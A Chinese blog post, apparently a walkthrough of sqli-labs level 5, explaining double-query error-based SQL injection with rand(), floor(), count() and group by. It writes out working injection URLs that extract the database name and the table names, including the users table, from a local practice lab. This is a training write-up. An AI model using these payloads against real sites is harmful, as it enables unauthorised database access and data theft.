Sqli-lab 5

0x00双注入常见函数

 

rand():这里的随机数函数是会生成0~1的一串小数。

floor():取整函数,而且是向下取整的。

count():比如COUNT(column_name) 函数返回指定列的值的数目(NULL 不计入)。

来看看实例

rand()

 

floor()向下取整很直观

 

 

 count()函数,这里是1个用户返回对应的值也就是1了

 

 

 

构造一个双查询语句来看看

select concat((select database()),floor(rand()*2));

 

 

 这里可以看到结果,是先执行的子查询,然后在执行父查询.

 

select concat((select database())) from emails;

这里我们后面跟上一个from 表名,就会返回查出对应表多少列数的数据,这里emails表是8列,返回也是8列

 

 

 

这里的语句加了as list .... group by list,是通过子查询的结果作为一个名为list的分组 

 select  concat((select database()),floor(rand()*2 ))as list from information_schema.schemata group by list;

 

 

 

 

这里加个count(*),把相同的分到一组,information_schema.schemata,数据库共有7个

 

0x01注入暴库

 

payload:

http://127.0.0.1/sql/Less-5/
?id=1' union select null,count(*),concat((select database()),floor(rand()*2))as list from information_schema.tables group by list %23

 

 

 

 

 

暴表名

 

payload:

http://127.0.0.1/sql/Less-5/
?id=1' union select null,count(*),concat((select table_name from information_schema.tables where 
 table_schema='security' ),floor(rand()*2 ))as list from information_schema.tables group by list %23

这里返回值大于1列,表不止一个,但是只能显示1个,怎么办呢?

 

 

 

这里就要用到之前说的limit函数了,通过它来查询我们指定的显示,

 

 这里用limit来指定显示 3开始的1条数据,就是users表了

http://127.0.0.1/sql/Less-5/
?id=1' union select null,count(*),concat((select table_name from information_schema.tables where 
 table_schema='security' limit 3,1 ),floor(rand()*2 ))as list from information_schema.tables group by list %23

 

 

数据库里面确实也是这样的

 

 

 

 

 然后后面就是大相径庭的暴字段和数据了,原理都是一样的~~

这里就就举个例子,剩下的一一对应查就好了

 

 其实这里的floo(rand()*2),写成*200比较好,因为*2有时候会报错,反应到这关就是没有显示

 

 

慢慢来吧~~

 

posted @ 2021-08-26 11:37  Erichas  阅读(76)  评论(0编辑  收藏  举报